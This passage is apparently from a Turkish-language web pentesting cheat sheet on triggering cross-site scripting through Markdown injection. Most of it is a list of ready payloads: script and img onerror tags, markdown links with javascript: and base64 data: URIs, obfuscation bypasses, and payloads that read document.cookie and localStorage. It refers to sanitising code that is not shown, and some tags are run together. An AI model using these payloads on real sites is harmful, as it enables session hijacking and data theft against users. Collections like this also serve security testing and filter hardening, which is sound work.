Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında XSS tetiklemek için kullanabileceğiniz birkaç seçenek vardır.
HTML etiketleri
Markdown'da XSS elde etmenin en yaygın yolu, javascript'i çalıştıran yaygın HTML etiketlerini enjekte etmektir, çünkü birçok markdown yorumlayıcısı HTML'yi de kabul edecektir.
<!-- XSS with regular tags --><script>alert(1)</script><imgsrc=xonerror=alert(1) />
Eğer HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimi ile oynamayı deneyebilirsiniz:
<!-- markdow link to XSS, this usually always work but it requires interaction -->[a](javascript:prompt(document.cookie))<!-- Other links attacks with some bypasses -->[Basic](javascript:alert('Basic'))[Local Storage](javascript:alert(JSON.stringify(localStorage)))[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))[URL](javascript://www.google.com%0Aalert('URL'))[In Quotes]('javascript:alert("InQuotes")')[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)
Aşağıdaki kod HTML girdisini temizliyor ve ardından markdown ayrıştırıcısına geçiriyor, bu durumda, XSS, Markdown ve DOMPurify arasındaki yanlış yorumlamalardan faydalanarak tetiklenebilir.
<!--Fuzzing examples from- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields-->[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))![a](javascript:prompt(document.cookie))\<javascript:prompt(document.cookie)><javascript:alert('XSS')>![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:alert('XSS'))
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